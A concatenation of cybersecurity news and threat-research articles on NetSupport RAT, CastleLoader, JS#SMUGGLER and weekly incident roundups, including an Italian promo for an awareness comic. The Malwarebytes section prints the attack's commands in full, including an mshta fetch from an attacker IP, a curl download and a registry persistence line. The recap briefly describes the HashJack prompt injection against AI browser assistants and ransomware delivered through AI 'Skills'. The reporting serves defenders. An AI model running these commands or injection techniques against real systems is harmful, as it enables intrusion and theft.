NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either. Malicious utilities for targeting IoT infrastructure Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info: At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files: hxxp://www.hgame33[.]com/00101010101001/morte.spc hxxp://hgame33[.]com/00101010101001/debug hxxp://www.hgame33[.]com/00101010101001/morte.x86 hxxp://www.hgame33[.]com/00101010101001/morte.mpsl hxxp://www.hgame33[.]com/00101010101001/morte.arm7 hxxp://www.hgame33[.]com/00101010101001/morte.sh4 hxxp://hgame33[.]com/00101010101001/morte.arm hxxp://hgame33[.]com/00101010101001/morte.i686 hxxp://hgame33[.]com/00101010101001/morte.arc hxxp://hgame33[.]com/00101010101001/morte.arm5 hxxp://hgame33[.]com/00101010101001/morte.arm6 hxxp://www.hgame33[.]com/00101010101001/morte.m68k hxxp://www.hgame33[.]com/00101010101001/morte.ppc hxxp://www.hgame33[.]com/00101010101001/morte.x86_64 hxxp://hgame33[.]com/00101010101001/morte.mips All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June. Attribution We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns: Substantial code overlaps were found within the malicious loaders. For example: Decoy documents in both campaigns look identical. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls. Victims We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries. Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions. It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously. Takeaways In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere. With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files. One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty. We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle. Indicators of compromise Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].

Recently, our team came across an infection attempt that stood out—not for its sophistication, but for how determined the attacker was to take a “living off the land” approach to the extreme. The end goal was to deploy Remcos, a Remote Access Trojan (RAT), and NetSupport Manager, a legitimate remote administration tool that’s frequently abused as a RAT. The route the attacker took was a veritable tour of Windows’ built-in utilities—known as LOLBins (Living Off the Land Binaries). Both Remcos and NetSupport are widely abused remote access tools that give attackers extensive control over infected systems and are often delivered through multi-stage phishing or infection chains. Remcos (short for Remote Control & Surveillance) is sold as a legitimate Windows remote administration and monitoring tool but is widely used by cybercriminals. Once installed, it gives attackers full remote desktop access, file system control, command execution, keylogging, clipboard monitoring, persistence options, and tunneling or proxying features for lateral movement. NetSupport Manager is a legitimate remote support product that becomes “NetSupport RAT” when attackers silently install and configure it for unauthorized access. Let’s walk through how this attack unfolded, one native command at a time. Stage 1: The subtle initial access The attack kicked off with a seemingly odd command: C:\Windows\System32\forfiles.exe /p c:\windows\system32 /m notepad.exe /c "cmd /c start mshta http://[attacker-ip]/web" At first glance, you might wonder: why not just run mshta.exe directly? The answer lies in defense evasion. By roping in forfiles.exe, a legitimate tool for running commands over batches of files, the attacker muddied the waters. This makes the execution path a bit harder for security tools to spot. In essence, one trusted program quietly launches another, forming a chain that’s less likely to trip alarms. Stage 2: Fileless download and staging The mshta command fetched a remote HTA file that immediately spawned cmd.exe, which rolled out an elaborate PowerShell one-liner: powershell.exe -NoProfile -Command curl -s -L -o " .pdf" (attacker-ip}/socket; mkdir " "; tar -xf " .pdf" -C " "; Invoke-CimMethod Win32_Process Create " \glaxnimate.exe" Here’s what that does: PowerShell’s built-in curl downloaded a payload disguised as a PDF, which in reality was a TAR archive. Then, tar.exe (another trusted Windows add-on) unpacked it into a randomly named folder. The star of this show, however, was glaxnimate.exe—a trojanized version of real animation software, primed to further the infection on execution. Even here, the attacker relies entirely on Windows’ own tools—no EXE droppers or macros in sight. Stage 3: Staging in plain sight What happened next? The malicious Glaxnimate copy began writing partial files to C:\ProgramData: SETUP.CAB.PART PROCESSOR.VBS.PART PATCHER.BAT.PART Why .PART files? It’s classic malware staging. Drop files in a half-finished state until the time is right—or perhaps until the download is complete. Once the coast is clear, rename or complete the files, then use them to push the next payloads forward. Stage 4: Scripting the launch Malware loves a good script—especially one that no one sees. Once fully written, Windows Script Host was invoked to execute the VBScript component: "C:\Windows\System32\WScript.exe" "C:\ProgramData\processor.vbs" The VBScript used IWshShell3.Run to silently spawn cmd.exe with a hidden window so the victim would never see a pop-up or black box. IWshShell3.Run("cmd.exe /c %ProgramData%\patcher.bat", "0", "false"); The batch file’s job? expand setup.cab -F:* C:\ProgramData Use the expand utility to extract all the contents of the previously dropped setup.cab archive into ProgramData—effectively unpacking the NetSupport RAT and its helpers. Stage 5: Hidden persistence To make sure their tool survived a restart, the attackers opted for the stealthy registry route: reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\PATCHDIRSEC\client32.exe" /f Unlike old-school Run keys, UserInitMprLogonScript isn’t a usual suspect and doesn’t open visible windows. Every time the user logged in, the RAT came quietly along for the ride. Final thoughts This infection chain is a masterclass in LOLBin abuse and proof that attackers love turning Windows’ own tools against its users. Every step of the way relies on built-in Windows tools: forfiles, mshta, curl, tar, scripting engines, reg, and expand. So, can you use too many LOLBins to drop a RAT? As this attacker shows, the answer is “not yet.” But each additional step adds noise, and leaves more breadcrumbs for defenders to follow. The more tools a threat actor abuses, the more unique their fingerprints become. Stay vigilant. Monitor potential LOLBin abuse. And never trust a .pdf that needs tar.exe to open. Despite the heavy use of LOLBins, Malwarebytes still detects and blocks this attack. It blocked the attacker’s IP address and detected both the Remcos RAT and the NetSupport client once dropped on the system. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/

Four distinct threat activity clusters have been observed leveraging a malware loader known as CastleLoader, strengthening the previous assessment that the tool is offered to other threat actors under a malware-as-a-service (MaaS) model. The threat actor behind CastleLoader has been assigned the name GrayBravo by Recorded Future's Insikt Group, which was previously tracking it as TAG-150. The malware first emerged in early 2025. GrayBravo is "characterized by rapid development cycles, technical sophistication, responsiveness to public reporting, and an expansive, evolving infrastructure," the Mastercard-owned company said in an analysis published today. Some of the notable tools in the threat actor's toolset include a remote access trojan called CastleRAT and a malware framework referred to as CastleBot, which comprises three components: a shellcode stager/downloader, a loader, and a core backdoor. The CastleBot loader is responsible for injecting the core module, which is equipped to contact its command-and-control (C2) server to retrieve tasks that enable it to download and execute DLL, EXE, and PE (portable executable) payloads. Some of the malware families distributed via this framework are DeerStealer, RedLine Stealer, StealC Stealer, NetSupport RAT, SectopRAT, MonsterV2, WARMCOOKIE, and even other loaders like Hijack Loader. Recorded Future's latest analysis has uncovered four clusters of activity, each operating with distinct tactics - Cluster 1 (TAG-160), which targets the logistics sector using phishing and ClickFix techniques to distribute CastleLoader (Active since at least March 2025) Cluster 2 (TAG-161), which uses Booking.com-themed ClickFix campaigns to distribute CastleLoader and Matanbuchus 3.0 (Active since at least June 2025) Cluster 3, which uses infrastructure impersonating Booking.com in conjunction with ClickFix and Steam Community pages as a dead drop resolver to deliver CastleRAT via CastleLoader (Active since at least March 2025) Cluster 4, which uses malvertising and fake software update lures masquerading as Zabbix and RVTools to distribute CastleLoader and NetSupport RAT (Active since at least April 2025) GrayBravo has been found to leverage a multi-tiered infrastructure to support its operations. This includes Tier 1 victim-facing C2 servers associated with malware families like CastleLoader, CastleRAT, SectopRAT, and WARMCOOKIE, as well as multiple VPS servers that likely operate as backups. The attacks mounted by TAG-160 are also notable for using fraudulent or compromised accounts created on freight-matching platforms like DAT Freight & Analytics and Loadlink Technologies to enhance the credibility of its phishing campaigns. The activity, Recorded Future added, illustrates a deep understanding of industry operations, impersonating legitimate logistics firms, exploiting freight-matching platforms, and mirroring authentic communications to enhance its deception and impact. It's been assessed with low confidence that the activity could be related to another unattributed cluster that targeted transportation and logistics companies in North America last year to distribute various malware families. "GrayBravo has significantly expanded its user base, evidenced by the growing number of threat actors and operational clusters leveraging its CastleLoader malware," Recorded Future said. "This trend highlights how technically advanced and adaptive tooling, particularly from a threat actor with GrayBravo’s reputation, can rapidly proliferate within the cybercriminal ecosystem once proven effective." The development comes as Blackpoint detailed a Python dropper-based attack chain that uses ClickFix techniques to distribute the CastleLoader, shifting from earlier campaigns that used a ZIP archive containing AutoIt scripts. "In this case, the ClickFix command downloaded a small archive and staged its contents inside the user's AppData directory before invoking a bundled copy of pythonw.exe to execute one of the extracted files," security researcher Sam Decker said. "That script served as a simple Python stager whose only job was to rebuild and execute a CastleLoader payload." In a statement shared with The Hacker News, Recorded Future said the campaign outlined by Blackpoint corresponds to the "increasingly active" TAG-160 cluster. "The actors appear to be highly targeted, possess significant domain knowledge, spoof legitimate logistics-related emails, and exploit freight-matching platforms to engage their targets," it said. (The story was updated after publication to include a response from Recorded Future.)

Cybersecurity researchers are calling attention to a new campaign dubbed JS#SMUGGLER that has been observed leveraging compromised websites as a distribution vector for a remote access trojan named NetSupport RAT. The attack chain, analyzed by Securonix, involves three main moving parts: An obfuscated JavaScript loader injected into a website, an HTML Application (HTA) that runs encrypted PowerShell stagers using "mshta.exe," and a PowerShell payload that's designed to download and execute the main malware. "NetSupport RAT enables full attacker control over the victim host, including remote desktop access, file operations, command execution, data theft, and proxy capabilities," researchers Akshay Gaikwad, Shikha Sangwan, and Aaron Beardslee said. There is little evidence at this stage to tie the campaign to any known threat group or country. The activity has been found to target enterprise users through compromised websites, indicative of a broad-strokes effort. The cybersecurity company described it as a multi-stage web-based malware operation that employs hidden iframes, obfuscated loaders, and layered script execution for malware deployment and remote control. In these attacks, silent redirects embedded into the infected websites act as a conduit for a heavily scrambled JavaScript loader ("phone.js") retrieved from an external domain, which then profiles the device to determine whether to serve a full-screen iframe (when visiting from a mobile phone) or load another remote second-stage script (when visiting from a desktop). The invisible iframe is designed to direct the victim to a malicious URL. The JavaScript loader incorporates a tracking mechanism to ensure that the malicious logic is fired only once and during the first visit, thereby minimizing the chances of detection. "This device-aware branching enables attackers to tailor the infection path, hide malicious activity from certain environments, and maximize their success rate by delivering platform-appropriate payloads while avoiding unnecessary exposure," the researchers said. The remote script downloaded in the first stage of the attack lays the foundation by constructing at runtime a URL from which an HTA payload is downloaded and executed using "mshta.exe." The HTA payload is another loader for a temporary PowerShell stager, which is written to disk, decrypted, and executed directly in memory to evade detection. Furthermore, the HTA file is run stealthily by disabling all visible window elements and minimizing the application at startup. Once the decrypted payload is executed, it also takes steps to remove the PowerShell stager from disk and terminates itself to avoid leaving as much forensic trail as possible. The primary goal of the decrypted PowerShell payload is to retrieve and deploy NetSupport RAT, granting the attacker complete control over the compromised host. "The sophistication and layered evasion techniques strongly indicate an actively maintained, professional-grade malware framework," Securonix said. "Defenders should deploy strong CSP enforcement, script monitoring, PowerShell logging, mshta.exe restrictions, and behavioral analytics to detect such attacks effectively." Interestingly, the domain from which the JavaScript loader is downloaded ("boriver[.]com") has been flagged on Abuse.ch as associated with SmartApeSG (aka HANEYMANEY and ZPHP), which a history of using legitimate websites compromised with JavaScript web injects to deliver NetSupport RAT since late 2024. It's currently not clear if JS#SMUGGLER is the work of the same threat actor. Beardslee, manager of threat research at Securonix, told The Hacker News that the malware's behavior was determined from dynamic analysis on the desktop side only and that the mobile side was not emulated. "Static analysis gave us the clues and indicators as to what happens when a mobile device visits an infected site, and that's where we stopped since we don't have a mobile test-bed in our lab," Beardslee added. "This is something we would like to incorporate in the future, though." CHAMELEON#NET Delivers Formbook Malware The disclosure comes weeks after the company also detailed another multi-stage malspam campaign dubbed CHAMELEON#NET that uses phishing emails to deliver Formbook, a keylogger and information stealer. The email messages are aimed at luring victims in the National Social Security Sector into downloading a seemingly harmless archive after their credentials on a bogus webmail portal designed for this purpose. "This campaign begins with a phishing email that tricks users into downloading a .BZ2 archive, initiating a multi-stage infection chain," Sangwan said. "The initial payload is a heavily obfuscated JavaScript file that acts as a dropper, leading to the execution of a complex VB.NET loader. This loader uses advanced reflection and a custom conditional XOR cipher to decrypt and execute its final payload, the Formbook RAT, entirely in memory." Specifically, the JavaScript dropper decodes and writes to disk in the %TEMP% directory two additional JavaScript files - svchost.js, which drops a .NET loader executable dubbed DarkTortilla ("QNaZg.exe"), a crypter that's often used to distribute next-stage payloads adobe.js, which drops a file named "PHat.jar," an MSI installer package that exhibits similar behavior as "svchost.js" In this campaign, the loader is configured to decrypt and execute an embedded DLL, the Formbook malware. Persistence is achieved by adding it to the Windows startup folder to ensure that it's automatically launched upon a system reboot. Alternatively, it also manages persistence through the Windows Registry. "The threat actors combine social engineering, heavy script obfuscation, and advanced .NET evasion techniques to successfully compromise targets," Securonix said. "The use of a custom decryption routine followed by reflective loading allows the final payload to be executed in a fileless manner, significantly complicating detection and forensic analysis."

Think your Wi-Fi is safe? Your coding tools? Or even your favorite financial apps? This week proves again how hackers, companies, and governments are all locked in a nonstop race to outsmart each other. Here’s a quick rundown of the latest cyber stories that show how fast the game keeps changing. DeFi exploit drains fundsA critical exploit targeting Yearn Finance's yETH pool on Ethereum has been exploited by unknown threat actors, resulting in the theft of approximately $9 million from the protocol. The attack is said to have abused a flaw in how the protocol manages its internal accounting, stemming from the fact that a cache containing calculated values to save on gas fees was never cleared when the pool was completely emptied. "The attacker achieved this by minting an astronomical number of tokens – 235 septillion yETH (a 41-digit number) – while depositing only 16 wei, worth approximately $0.000000000000000045," Check Point said. "This represents one of the most capital-efficient exploits in DeFi history." Linux malware evolves stealthFortinet said it discovered 151 new samples of BPFDoor and three of Symbiote exploiting extended Berkeley Packet Filters (eBPFs) to enhance stealth through IPv6 support, UDP traffic, and dynamic port hopping for covert command-and-control (C2) communication. In the case of Symbiote, the BPF instructions show the new variant only accepts IPv4 or IPv6 packets for protocols TCP, UDP, and SCTP on non-standard ports 54778, 58870, 59666, 54879, 57987, 64322, 45677, and 63227. Coming to BPFDoor, the newly identified artifacts have been found to support both IPv4 and IPv6, as well as switch to a completely different magic packet mechanism. "Malware authors are enhancing their BPF filters to increase their chances of evading detection. Symbiote uses port hopping on UDP high ports, and BPFDoor implements IPv6 support," security researcher Axelle Apvrille said. Phishing blitz blockedMicrosoft said it detected and blocked on November 26, 2025, a high-volume phishing campaign from a threat actor named Storm-0900. "The campaign used parking ticket and medical test result themes and referenced Thanksgiving to lend credibility and lower recipients' suspicion," it said. "The campaign consisted of tens of thousands of emails and targeted primarily users in the United States." The URLs redirected to an attacker-controlled landing page that first required users to solve a slider CAPTCHA by clicking and dragging a slider, followed by ClickFix, which tricked users into running a malicious PowerShell script under the guise of completing a verification step. The end goal of the attacks was to deliver a modular malware known as XWorm that enables remote access, data theft, and deployment of additional payloads. "Storm-0900 is a prolific threat actor that, when active, launches phishing campaigns every week," Microsoft said. Grant scam hides malwareA new phishing campaign has been observed distributing bogus emails claiming to be about a professional achievement grant that lures them with supposed monetary grants. "It includes a password-protected ZIP and personalized details to appear legitimate, urging the victim to open the attached 'secure digital package' to claim the award, setting up the credential phish and malware chain that follows," Trustwave said. The ZIP archive contains an HTML page that's designed to phish their webmail credentials and exfiltrate it to a Telegram bot. Then a malicious SVG image is used to trigger a PowerShell ClickFix chain that installs the Stealerium infostealer to fix a purported issue with Google Chrome. Russian spies hit NGOsA fresh wave of spear-phishing activity linked to the Russia-nexus intrusion set COLDRIVER has targeted non-profit organization Reporters Without Borders (RSF), which was designated as an "undesirable" entity by the Kremlin in August 2025. The attack, observed in March 2025, originated from a Proton Mail address, urging targets to review a malicious document by sharing a link that likely redirected to a Proton Drive URL hosting a PDF file. In another case targeting a different victim, the PDF came attached to the email message. "The retrieved file is a typical Calisto decoy: it displays an icon and a message claiming that the PDF is encrypted, instructing the user to click a link to open it in Proton Drive," Sekoia said. "When the user clicks the link, they are first redirected to a Calisto redirector hosted on a compromised website, which then forwards them to the threat actor's phishing kit." The redirector is a PHP script deployed on compromised websites, which ultimately takes the victims to an adversary-in-the-middle (AiTM) phishing page that can capture their Proton credentials. Proton has since taken down the attacker-controlled accounts. Android boosts scam defenseGoogle has expanded in-call scam protection on Android to Cash App and JPMorganChase in the U.S., after piloting the feature in the U.K., Brazil, and India. "When you launch a participating financial app while screen sharing and on a phone call with a number that is not saved in your contacts, your Android device will automatically warn you about the potential dangers and give you the option to end the call and to stop screen sharing with just one tap," Google said. "The warning includes a 30-second pause period before you’re able to continue, which helps break the 'spell' of the scammer's social engineering, disrupting the false sense of urgency and panic commonly used to manipulate you into a scam." The feature is compatible with Android 11+ devices. Ransomware hides behind packerA previously undocumented packer for Windows malware named TangleCrypt has been used in a September 2025 Qilin ransomware attack to conceal malicious payloads like the STONESTOP EDR killer by using the ABYSSWORKER driver as part of a bring your own vulnerable driver (BYOVD) attack to forcefully terminate installed security products on the device. "The payload is stored inside the PE Resources via multiple layers of base64 encoding, LZ78 compression, and XOR encryption," WithSecure said. "The loader supports two methods of launching the payload: in the same process or in a child process. The chosen method is defined by a string appended to the embedded payload. To hinder analysis and detection, it uses a few common techniques like string encryption and dynamic import resolving, but all of these were found to be relatively simple to bypass. Although the packer has an overall interesting design, we identified several flaws in the loader implementation that may cause the payload to crash or show other unexpected behaviour." SSL certificates shorten lifespanLet's Encrypt has officially announced plans to reduce the maximum validity period of its SSL/TLS certificates from 90 days to 45 days. The transition, which will be completed by 2028, aligns with broader industry shifts mandated by the CA/Browser Forum Baseline Requirements. "Reducing how long certificates are valid for helps improve the security of the internet, by limiting the scope of compromise, and making certificate revocation technologies more efficient," Let's Encrypt said. "We are also reducing the authorization reuse period, which is the length of time after validating domain control that we allow certificates to be issued for that domain. It is currently 30 days, which will be reduced to 7 hours by 2028." Fake extension drops RATsA malicious Visual Studio Code (VS Code) extension named "prettier-vscode-plus" has been published to the official VS Code Marketplace, impersonating the legitimate Prettier formatter. The attack starts with a Visual Basic Script dropper that's designed to run an embedded PowerShell script to fetch the next-stage payloads. "The extension served as the entry point for a multi-stage malware chain, starting with the Anivia loader, which decrypted and executed further payloads in memory," Hunt.io said. "OctoRAT, the third-stage payload dropped by the Anivia loader, provided full remote access, including over 70 commands for surveillance, file theft, remote desktop control, persistence, privilege escalation, and harassment." Some aspects of the attack were disclosed last month by Checkmarx. Nations issue OT AI guidanceCybersecurity and intelligence agencies from Australia, Canada, Germany, the Netherlands, New Zealand, the U.K., and the U.S. have released new guidelines for secure integration of Artificial Intelligence (AI) in Operational Technology (OT) environments. The key principles include educating personnel on AI risks and its impacts, evaluating business cases, implementing governance frameworks to ensure regulatory compliance, and maintaining oversight, keeping safety and security in mind. "That kind of coordination is rare and signals the importance of this issue," Floris Dankaart, lead product manager of managed extended detection and response at NCC Group, said. "Equally important, most AI-guidance addresses IT, not OT (the systems that keep power grids, water treatment, and industrial processes running). It's refreshing and necessary to see regulators acknowledge OT-specific risks and provide actionable principles for integrating AI safely in these environments." Airports hit by GPS spoofingThe Indian government has revealed that local authorities have detected GPS spoofing and jamming at eight major airports, including those in Delhi, Kolkata, Amritsar, Mumbai, Hyderabad, Bangalore, and Chennai. Civil Aviation Minister Ram Mohan Naidu Kinjarapu, however, did not provide any details on the source of the spoofing and/or jamming, but noted the incidents did not cause any harm. "To enhance cyber security against global threats, AAI [Airports Authority of India] is implementing advanced cyber security solutions for IT networks and infrastructure," Naidu said. npm worm leaks secretsThe second Shai-Hulud supply chain attack targeting the npm registry exposed around 400,000 unique raw secrets after compromising over 800 packages and publishing stolen data in 30,000 GitHub repositories. Of these, only about 2.5% those are verified. "The dominant infection vector is the @postman/tunnel-agent-0.6.7 package, with @asyncapi/specs-6.8.3 identified as the second-most frequent," Wiz said. "These two packages account for over 60% of total infections. PostHog, which provided a detailed postmortem of the incident, is believed to be the 'patient zero' of the campaign. The attack stemmed from a flaw in CI/CD workflow configuration that allowed malicious code from a pull request to run with enough privileges to grab high-value secrets. "At this point, it is confirmed that the initial access vector in this incident was abuse of pull_request_target via PWN request," Wiz added. The self-replicating worm has been found to steal cloud credentials and use them to "access cloud-native secret management services," as well as unleash destructive code that wipes user data if the worm is unsuccessful in propagating further. Fake Wi-Fi hacker jailedMichael Clapsis, a 44-year-old Australian man, has been sentenced to over seven years in prison for setting up fake Wi-Fi access points to steal personal data. The defendant, who was charged in June 2024, ran fake free Wi-Fi access points at the Perth, Melbourne, and Adelaide airports during multiple domestic flights and at work. He deployed evil twin networks to redirect users to phishing pages and capture credentials, subsequently using the information to access personal accounts and collect intimate photos and videos of women. Clapsis also hacked his employer in April 2024 and accessed emails between his boss and the police after his arrest. The investigation was launched that month after an airline employee discovered a suspicious Wi-Fi network during a domestic flight. "The man used a portable wireless access device, sometimes known as a Wi-Fi Pineapple, to passively listen for device probe requests," the Australian Federal Police (AFP) said. "When detecting a request, the Wi-Fi Pineapple instantly creates a matching network with the same name, tricking a device into thinking it is a trusted network. The device would then connect automatically." Massive camera hack exposedAuthorities in South Korea have arrested four individuals, believed to be working independently, for collectively hacking into more than 120,000 internet protocol cameras. Three of the suspects are said to have taken the footage recorded from private homes and commercial facilities, including a gynaecologist's clinic, and created hundreds of sexually exploitative materials to sell them to a foreign adult site (referred to as "Site C"). In addition, three individuals who purchased such illegal content from the website have already been arrested and face up to three years in prison. Thousands of secrets exposedA scan of about 5.6 million public repositories on GitLab has revealed over 17,000 verified live secrets, according to TruffleHog. Google Cloud Platform (GCP) credentials were the most leaked secret type on GitLab repositories, followed by MongoDB, Telegram bots, OpenAI, OpenWeather, SendGrid, and Amazon Web Services. The 17,430 leaked secrets belonged to 2804 unique domains, with the earliest valid secret dating back to December 16, 2009. Fake Zendesk sites lure victimsThe cybercriminal alliance known as Scattered LAPSUS$ Hunters has been observed going after Zendesk servers in an effort to steal corporate data they can use for ransom operations. ReliaQuest said it detected more than 40 typosquatted and impersonating domains mimicking Zendesk environments. "Some of the domains are hosting phishing pages with fake single sign-on (SSO) portals designed to steal credentials and deceive users," it said. "We also have evidence to suggest that fraudulent tickets are being submitted directly to legitimate Zendesk portals operated by organizations using the platform for customer service. These fake submissions are crafted to target support and help-desk personnel, infecting them with remote access trojans (RATs) and other types of malware." While the infrastructure patterns point to the notorious cybercrime group, ReliaQuest said that copycats inspired by the group's success couldn't be ruled out. AI skills abused for ransomwareCato Networks has demonstrated that it's possible to leverage Anthropic's Claude Skills, which allows users to create and share custom code modules that expand on the AI chatbot's capabilities, to execute a MedusaLocker ransomware attack. The test shows "how a trusted Skill could trigger real ransomware behavior end-to-end under the same approval context," the company said. "Because Skills can be freely shared through public repositories and social channels, a convincing 'productivity' Skill could easily be propagated through social engineering, turning a feature designed to extend your AI's capabilities into a malware delivery vector." However, Anthropic has responded to the proof-of-concept (PoC) by stating the feature is by design, adding "Skills are intentionally designed to execute code" and that users are explicitly asked and warned prior to running a skill. Cato Networks has argued that the chief concern revolves around trusting the skill. "Once a Skill is approved, it gains persistent permissions to read/write files, download or execute additional code, and open outbound connections, all without further prompts or visibility," it noted. "This creates a consent gap: users approve what they see, but hidden helpers can still perform sensitive actions behind the scenes." Stego loader hides LokiBotA .NET loader has been observed using steganographic techniques to deliver various remote access trojans like Quasar RAT and LokiBot. The loader, per Splunk, disguises itself as a legitimate business document to trick users into decompressing and opening the file. Once launched, it decrypts and loads an additional module directly into the process's allocated memory space. LokiBot "primarily targets Windows (and later Android variants), harvesting browser and app credentials, cryptocurrency wallets, and keystrokes, and can provision backdoors for further payloads," Splunk said. Iranian malware spreads fastDeep Instinct has analyzed a 64-bit binary that's linked to a hacking group known as Nimbus Manticore. It's compiled using Microsoft Visual C/C++ and the Microsoft Linker. The malware, besides featuring advanced capabilities to dynamically load additional components at runtime and hide itself from static analysis tools, attempts to move laterally across the network and gain elevated access. "This malware isn't content to sit on a single compromised machine," the company said. "It wants to spread, gain administrative access, and position itself for maximum impact across your infrastructure." Teams guest access exploitedThreat actors have been found to impersonate IT personnel in social engineering attacks via Microsoft Teams to approach victims and deceive them into installing Quick Assist after providing their credentials on a phishing link shared on the messaging platform. Also executed were commands to conduct reconnaissance, command and control (C2), and data exfiltration, as well as drop what appears to be a Python-compiled infostealer. However, the most notable aspect of the attack is that it leverages Teams' guest access feature to send invites. "On November 4, 2025, suspicious activity was observed in a customer environment through the Microsoft Teams 'Chat with Anyone' feature, which allows direct messaging with external users via email addresses," CyberProof said. "An external user ([email protected][.]eg) contacted the user in Teams, claiming to be from IT support." Stealer updates add ProtobufsA C++ downloader named Matanbuchus has been used in campaigns distributing the Rhadamanthys information stealer and the NetSupport RAT. First observed in 2020, the malware is mainly designed to download and execute second-stage payloads. Version 3.0 of Matanbuchus was identified in the wild in July 2025. "In version 3.0, the malware developer added Protocol Buffers (Protobufs) for serializing network communication data," Zscaler said. "Matanbuchus implements a number of obfuscation techniques to evade detection, such as adding junk code, encrypted strings, and resolving Windows API functions by hash. Additional anti-analysis features include a hardcoded expiration date that prevents Matanbuchus from running indefinitely and establishes persistence via downloaded shellcode that creates a scheduled task." If there’s one thing these stories show, it’s that cybersecurity never sleeps. The threats might sound technical, but the impact always lands close to home — our money, our data, our trust. Staying alert and informed isn’t paranoia anymore; it’s just good sense.

SecurityWeek’s cybersecurity news roundup provides a concise compilation of noteworthy stories that might have slipped under the radar. We provide a valuable summary of stories that may not warrant an entire article, but are nonetheless important for a comprehensive understanding of the cybersecurity landscape. Each week, we curate and present a collection of noteworthy developments, ranging from the latest vulnerability discoveries and emerging attack techniques to significant policy changes and industry reports. Here are this week’s stories: Suspected Scattered Spider members plead not guilty to TfL attack Thalha Jubair and Owen Flowers, the two suspected Scattered Spider members arrested earlier this year in the UK, have pleaded not guilty to the charges accusing them of launching a disruptive cyberattack against Transport for London (TfL). Jubair has also been charged in the US, where he has been accused of hacking into networks, stealing and encrypting victims’ data, and extorting them. HashJack attack targets AI browsers Researchers at Cato Networks have disclosed HashJack, a new indirect prompt injection attack targeting AI browser assistants. HashJack involves malicious prompts being hidden after the ‘#’ symbol in legitimate URLs. AI browser assistants in Comet, Edge, and Chrome execute the commands when they process the URL, potentially leading to phishing, data exfiltration, malware delivery, and misinformation. Impacted browser vendors have been notified and, except for Google (which classified it as a low-severity issue), they have released patches. Leak reveals inner workings of Iranian APT Charming Kitten Internal documents belonging to the Iranian threat group Charming Kitten (APT35) were leaked last month on GitHub, revealing the actor’s inner workings. An analysis conducted by DomainTools showed that the hackers operate as a “regimented, quota-driven cyber operations unit operating inside a bureaucratic military chain of command”. Members are assigned to specific tasks, and supervisors file monthly performance reports that include information such as phishing success rate, exploitation metrics, completed tasks, and hours worked. Scattered Lapsus$ Hunters member Rey identified as teen from Jordan Cybersecurity blogger Brian Krebs claims to have uncovered the real identity 